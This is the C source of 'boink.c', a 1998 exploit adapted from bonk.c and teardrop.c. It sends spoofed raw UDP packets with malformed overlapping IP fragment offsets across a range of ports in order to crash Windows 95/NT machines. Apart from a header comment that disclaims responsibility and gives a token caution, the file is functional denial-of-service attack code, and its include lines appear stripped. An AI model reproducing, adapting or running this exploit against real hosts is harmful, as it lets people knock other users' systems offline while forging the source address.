/* boink.c - a modified bonk.c ==bendi - 1998== bonk.c - 5/01/1998 Based On: teardrop.c by route|daemon9 & klepto Crashes *patched* win95/(NT?) machines. Basically, we set the frag offset > header length (teardrop reversed). There are many theories as to why this works, however i do not have the resources to perform extensive testing. I make no warranties. Use this code at your own risk. Rip it if you like, i've had my fun. Modified by defile(efnet) [9/01/98] As it stood before, bonk.c just simply attacked port 55. Upon scanning my associates, I've noticed port 55 isn't always open. It varies in fact, while other ports remain open and vulnerable to this attack. I realized that Microsoft just might fix this by blocking port 55 off or something completely lame like that, and that is unacceptable. As of this modification, you provide both a "start" and a "stop" port to test for the weakness, in the attempt to catch a possibly open port. (I've noticed port 55 seemed to come open more frequently on machines that were running IE though) Hopefully this will encourage Microsoft to write a REAL fix instead of just make lackey fixes as they've had in the past. Please only use this to test your own systems for vulnerability, and if it is, bitch at Microsoft for a fix. I am not responsible for any damage that may come and as stated above by the author, this might not even work. I make no claims to the ownership to any portions of this source in any way. */ #include #include #include #include #include #include #include #include #include #include #define FRG_CONST 0x3 #define PADDING 0x1c struct udp_pkt { struct iphdr ip; struct udphdr udp; char data[PADDING]; } pkt; int udplen=sizeof(struct udphdr), iplen=sizeof(struct iphdr), datalen=100, psize=sizeof(struct udphdr)+sizeof(struct iphdr)+PADDING, spf_sck; /* Socket */ void usage(void) { /* fprintf(stderr, "Usage: ./bonk [num]\n"); */ fprintf (stderr, "Usage: ./boink [num]\n"); exit(0); } u_long host_to_ip(char *host_name) { static u_long ip_bytes; struct hostent *res; res = gethostbyname(host_name); if (res == NULL) return (0); memcpy(&ip_bytes, res->h_addr, res->h_length); return (ip_bytes); } void quit(char *reason) { perror(reason); close(spf_sck); exit(-1); } int fondle(int sck, u_long src_addr, u_long dst_addr, int src_prt, int dst_prt) { int bs; struct sockaddr_in to; memset(&pkt, 0, psize); /* Fill in ip header */ pkt.ip.version = 4; pkt.ip.ihl = 5; pkt.ip.tot_len = htons(udplen + iplen + PADDING); pkt.ip.id = htons(0x455); pkt.ip.ttl = 255; pkt.ip.protocol = IP_UDP; pkt.ip.saddr = src_addr; pkt.ip.daddr = dst_addr; pkt.ip.frag_off = htons(0x2000); /* more to come */ pkt.udp.source = htons(src_prt); /* udp header */ pkt.udp.dest = htons(dst_prt); pkt.udp.len = htons(8 + PADDING); /* send 1st frag */ to.sin_family = AF_INET; to.sin_port = src_prt; to.sin_addr.s_addr = dst_addr; bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to, sizeof(struct sockaddr)); pkt.ip.frag_off = htons(FRG_CONST + 1); /* shinanigan */ pkt.ip.tot_len = htons(iplen + FRG_CONST); /* 2nd frag */ bs = sendto(sck, &pkt, iplen + FRG_CONST + 1, 0, (struct sockaddr *) &to, sizeof(struct sockaddr)); return bs; } void main(int argc, char *argv[]) { u_long src_addr, dst_addr; int i, /* src_prt = 55, dst_prt = 55, */ start_port, stop_port, bs = 1, pkt_count; if (argc < 5) usage(); start_port = (u_short) atoi (argv[ 3 ]); stop_port = (u_short) atoi (argv[ 4 ]); if (argc == 6) pkt_count = atoi (argv[ 5 ]); if (start_port >= stop_port || stop_port <= start_port) { start_port = 25; stop_port = 65; } if (pkt_count == 0) pkt_count = 10; /* Resolve hostnames */ src_addr = host_to_ip(argv[1]); if (!src_addr) quit("bad source host"); dst_addr = host_to_ip(argv[2]); if (!dst_addr) quit("bad target host"); spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (!spf_sck) quit("socket()"); if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *) &bs, sizeof(bs)) < 0) quit("IP_HDRINCL"); for (i = 0; i < pkt_count; ++i) { int j; printf ("(%d)%s:%d->%d\n", i, argv[ 2 ], start_port, stop_port); for (j = start_port; j != stop_port; j++) { /* fondle(spf_sck, src_addr, dst_addr, src_prt, dst_prt); */ fondle (spf_sck, src_addr, dst_addr, j, j); } usleep(10000); } printf("Done.\n"); } /* www.hack.co.za [2000]*/